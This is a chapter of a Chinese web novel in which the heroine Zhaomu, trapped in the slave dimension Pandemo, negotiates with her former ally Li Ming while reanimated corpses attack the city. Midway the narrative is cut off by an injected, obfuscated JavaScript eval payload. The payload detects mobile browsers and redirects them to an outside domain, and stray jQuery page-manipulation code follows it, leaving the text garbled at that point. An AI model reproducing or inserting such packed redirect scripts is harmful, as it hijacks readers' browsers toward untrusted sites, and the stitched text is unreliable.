潘德莫维度,市民广场。
自由冒险者协会的接管通知在所有屏幕循环播放,张涵薇被录下的会议报告响彻整个维度:“我们策划组给浪漫的爱情加入出轨、性/暴/力和血/腥元素,并用精神控制的方法……”
与此同时,朝暮捏着的耳麦里也传来张涵薇的声音:“向您问好,朝暮盟主。”
“刚刚有一个杀手也叫我盟主,你猜他现在在哪?”
只有经历过她和厉暝联盟时期的老成员才会叫她盟主,他们中的很多人原本是奴隶,现在却跟随厉暝一起用奴隶做直播。
“……我没有想冒犯您意思。”张涵薇苦笑,用了另一个称呼,“会长。”
朝暮将耳麦拿远一点,阿草立刻接过来替她举着,他恨不得变出条尾巴摇一摇。
张涵薇继续说:“您对我肯定没有印象,自我介绍一下,我本名N7481,是从繁殖场诞生的人类奴隶。我的妹妹是N7482,我们被人造子宫孕育,出生时就是成年形态,被贵族买去做仆人。”
“您和……救走我们后,我做了一个决定。”张涵薇模糊了厉暝的名字,她怕激怒朝暮。
“我与N7482装作不认识彼此,用毫不相干的新名字在联盟内工作。联盟解散后,我们用这套方法进入世纪互娱,企图靠直播赚够钱,找个农业维度好好生活。”
“N7482现在的名字叫章语。”
朝暮抱着刀站在原地,她冷漠地说:“别给我讲故事,直接说你想要什么?”
“想请您把我的妹妹带出潘德莫,并安置在您的维度里。没有人比我清楚那位粉丝有多疯狂,等她发现用1亿2000万买不到章语的命,会变得更疯狂。”
“就凭你知道潘德莫的入口?”朝暮奇道。
“我还愿意帮您持续性打开入口。”张涵薇补充,“我很清楚,即使把运维部杀光,知道入口的人也不止我一个,但您在短时间内很难找到第二个愿意配合的人,而且潘德莫的入口比较特殊,别人不一定像我一样了解它。”
朝暮摩挲着刀锷,似乎在判断信息的真假。
张涵薇认真解释:“潘德莫是一个很特殊的维度,它的出入口严格遵循一出一进规则,想进入潘德莫的人必须守在入口处,和维度内想出来的人同时穿越屏障。”
“怪不得世纪互娱不在潘德莫发展旅游业。”朝暮思考,“所以这是一个针对我的陷阱,我进入潘德莫是被设计好的,那么谁出去了?”
张涵薇微妙地沉默。
朝暮很快明白过来:“在我进来的同时杀死一个奴隶?”
死亡是最简单的离开。
张涵薇保持沉默,默认了她的猜测。
“厉暝要做什么?”
“我没资格知道,实际上我什么都不知道,不知道竞标杀人市场,不知道您征用我的运输飞船。”张涵薇苦笑。
将朝暮骗进难以离开的潘德莫,安排一个拥有厉暝长相和阿草记忆的人给她杀……
朝暮瞬间做出判断:“他在拖延时间!塞拉,全力配合张涵薇打开维度入口!我和章语分开前把风衣给她了,先定位风衣——等等!”
背后仅剩一只翅膀的狗族兽人鬼鬼祟祟地出现在她的视线范围内,兽人的一条手臂不自然弯曲,明显骨折了,他用完好的手臂持脉冲枪挟持着一个女人。
是沃夫.迅爪,从高空坠落后竟然还有行动能力,他一把揭下女人脸上的面具,女人身上的伪装如油画般褪色消失,露出本来的面目,是章语。
朝暮的手摸向刀柄。
“别拔刀!”沃夫死死盯着朝暮的手,“我知道脉冲枪没有你的刀快,我只是来传话的!”
他继续盯着朝暮,眼睛都不敢眨。他从怀里拿出一部终端机,将机器塞进章语手里,把章语往前一推,然后扭头就跑。
章语哭着跑过来,终端里传出熟悉的声音。
“很抱歉打扰你们密谋。”男人的声音犹如某种弦类乐器,低沉且彬彬有礼,“我对密谋的结果不感兴趣。”
一旁的阿草先不乐意了:“他怎么这么能夹?气泡音夹得还没我好听。”
阿草也开夹,他故作深情地看向朝暮:“你说是不是?”
听着像深海鱼噗噜噗噜吐泡泡。
终端机那头的男人意义不明地笑了笑。
“不对。”阿草后知后觉,“他的声音和我一模一样。”
“厉暝。”朝暮吐出这两个字的同时,一片黑压压的物体出现在城市的天际线处,像迁徙的候鸟。
飞行物铺天盖地压在高楼大厦的上空,等他们飞近了,人们才发现异常。
“是鸟吗?”
“不是鸟,它们有四肢!”
“啊啊啊啊,快跑!”
不是候鸟,而是实验失败的兽人尸体,它们背生畸形的肉翅,从死地爬回活人的世界。
厉暝的声音再次响起:“激活尸体用的时间比想象中长,不过效果看起来不错。”
朝暮一把夺过阿草手里的耳麦:“张涵薇,你妹妹在我身边,我会保护她,让灵真跟着你去找入口。塞拉,利用维度内显示屏指挥居民躲进大楼,活尸没有神志,无法进入地形复杂的建筑。”
“姐姐!”章语知道姐姐能听见,她下意识哭喊出声。
张涵薇匆匆交代:“照顾好自己,听会长的话。”
耳麦的蓝光熄灭,通讯被掐断了。朝暮望着天空中的黑影,压抑翻涌的怒火:“说出你的目的,厉暝。活尸伤不到我,你的维度也困不住我,你要做什么?”
“伤不到你,但伤得到维度里那些可怜的奴隶。”
“你拿他们威胁我?”
“对。”厉暝愉快地笑了,他劝告,“你看,为了让你进入维度,有人不明不白地死去;为了派出阻止你的杀手,又有无辜的人死去。这一切因你而起,想办法结束吧,否则会有更多人失去生命。”
“六年过去你没有一点长进,只会颠倒黑白,妄图制造愧疚。说吧,你到底要做什么?”
活尸从空中飞扑下来袭击人群,塞拉强行更改程序,控制维度内所有隐形摄像机自燃后攻击活尸,给人们争取逃跑的时间。
惨叫声、哭喊声和尸体燃烧的焦臭味占据感官,隔着终端机通话的厉暝自然感知不到这一切,他反问:“你要做什么?你的目的绝对不止带走奴隶这么简单。”
“别装傻。”朝暮冷笑,“我父亲的遗物在哪?我知道奴隶对你不重要,潘德莫才重要,只要维度还在,你随时能东山再起。把东西还给我,否则等潘德莫一空,我就把它整个从里向外劈开。”
“其实你现在就能把维度劈开,我从不怀疑你的实力。”厉暝赞叹,“你为什么不劈开呢?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926674|160545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
当然因为维度内的奴隶没有被接走,计划被打乱,朝暮摩挲刀柄:“你想要什么?直接说,别废话。”
“真让人伤心,我为你准备这么多,你还是那么冷漠。”
“准备了一个和你长相一样的活靶子?”
阿草的身体僵住了。
“你不喜欢吗?你不想知道他为什么有阿草的记忆吗?”
朝暮没有回答。
“我们来做一笔交易吧。”厉暝诱哄般说道,“我不仅告诉你他的来历,还可以终止竞标杀人市场的企划,保障潘德莫所有演员的权利,让一切回到正轨。”
“正轨?”朝暮古怪地重复,“你管他们的生活叫正轨?”
“难道不是吗?”厉暝反问,“这里是潘德莫,是超越现实的乌托邦,是我们当初憧憬的理想国。”
血气翻涌而上,朝暮的喉管里、鼻腔中似乎都涌起热流,愤怒和悔恨一起冲击灵魂,血脉中藏不住的东西悄悄探出触角。
记忆真是奇怪,越想记住的东西越容易遗忘,比如阿草身上绒毛的触感,她再怎么用力咀嚼回忆,故人的音容笑貌也会渐渐淡去,想要忘记的东西却偏偏能记牢。
那些糟糕的回忆躲藏在记忆宫殿最阴暗的角落,晃动着两条触须,随时准备展开油亮的翅膀袭击她。最痛苦的是,糟糕的回忆其实并不糟糕,反而是她当时境遇下的明亮点缀。每当光亮重新照向她,她都觉得自己才是阴暗的爬虫。
理想国,什么才是理想国?
在她看不见的地方,皮肤表层慢慢渗出金色的结晶,理智被一点点蚕食,眼前弥漫的血色中出现白色噪点,像她第一次见到厉暝。
天地素白,雪粒剐蹭着四无色定的刀刃,寒光在暮色中凝成冰棱,掌心似乎和刀柄冻在一起。年轻的厉暝肩胛渗血,热气在冷风中蒸腾,褴褛的衣袂被狂风撕扯成灰蝶。刀锋贴颈的刹那,他们击掌相贺。
积雪在靴底咯吱消融,化作春溪渗入冻土,而后天地倒转,他们身处于结盟宴上,厉暝向她的杯中注入红酒,沉醉在她的描述中,他问:“你的理想国还需要建设者吗?”
飞艇在维度乱流中航行,全景窗外的星云被搅碎,春潮托着酒盏在星河间沉浮。他仰颈饮尽月光,喉结滚动时溅落的酒液像熔化的银。他们醉倒在摆渡港的甲板上,星云在身下晃成涟漪。
纠缠在一起的身影像两条藤葛,然后火从他瞳孔中燃起,烧掉他披着的人皮,烧断两条藤葛。朝暮站在记忆的边缘,看见他的右手化为利刃,刺入面前亲人的胸膛。
他说:“哪有什么理想国?”
于是站在潘德莫市民广场上的朝暮也说:“哪有什么理想国?”
终端机那头的厉暝似乎怔住了,朝暮继续说:“没有人能凭一己之力完美运行只存在于想象中的国家,哪怕是你全面掌控下的潘德莫,不也出现了张涵薇和章语这样的异类吗?”
“而且潘德莫从来不是什么理想国,它只是你的另一个人类繁殖场。”
沉默了好几秒,厉暝才说:“好,我更改交易的筹码,潘德莫维度可以由你整个接管。”
终端机中传来金属磕碰的闷响,朝暮敏锐地听出来,那是她父亲的遗物。
“我付出那么多,想要的不过是一个问题的答案,关于你父亲的遗物。”厉暝问,“怎么把‘锚点’从‘监狱’里放出来?”